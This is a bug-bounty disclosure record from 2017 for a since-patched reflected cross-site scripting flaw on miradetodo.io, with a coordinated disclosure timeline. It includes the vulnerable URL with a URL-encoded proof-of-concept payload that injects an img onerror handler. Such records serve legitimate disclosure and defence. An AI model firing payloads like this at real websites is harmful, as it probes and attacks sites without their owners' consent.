Lucene search

K
openbugbountyOmniGoochOBB:220718
HistoryMar 25, 2017 - 1:02 a.m.

miradetodo.io XSS vulnerability

2017-03-2501:02:00
OmniGooch
www.openbugbounty.org
21
Vulnerable URL:
http://miradetodo.io/?s=%3C%2Fscript%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%2FXSSPOSED%2F%29%3E
Details:
Description Value
Patched: Yes, at
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 42861
VIP website status: Yes
Coordinated Disclosure Timeline:
Description Value
Vulnerability submitted via Open Bug Bounty 25 March, 2017 01:02 GMT
Generic security notifications sent to website owner 25 March, 2017 01:04 GMT
Vulnerability details disclosed by researcher 1 April, 2017 01:14 GMT
Vulnerability patched by the website owner 28 April, 2017 15:26 GMT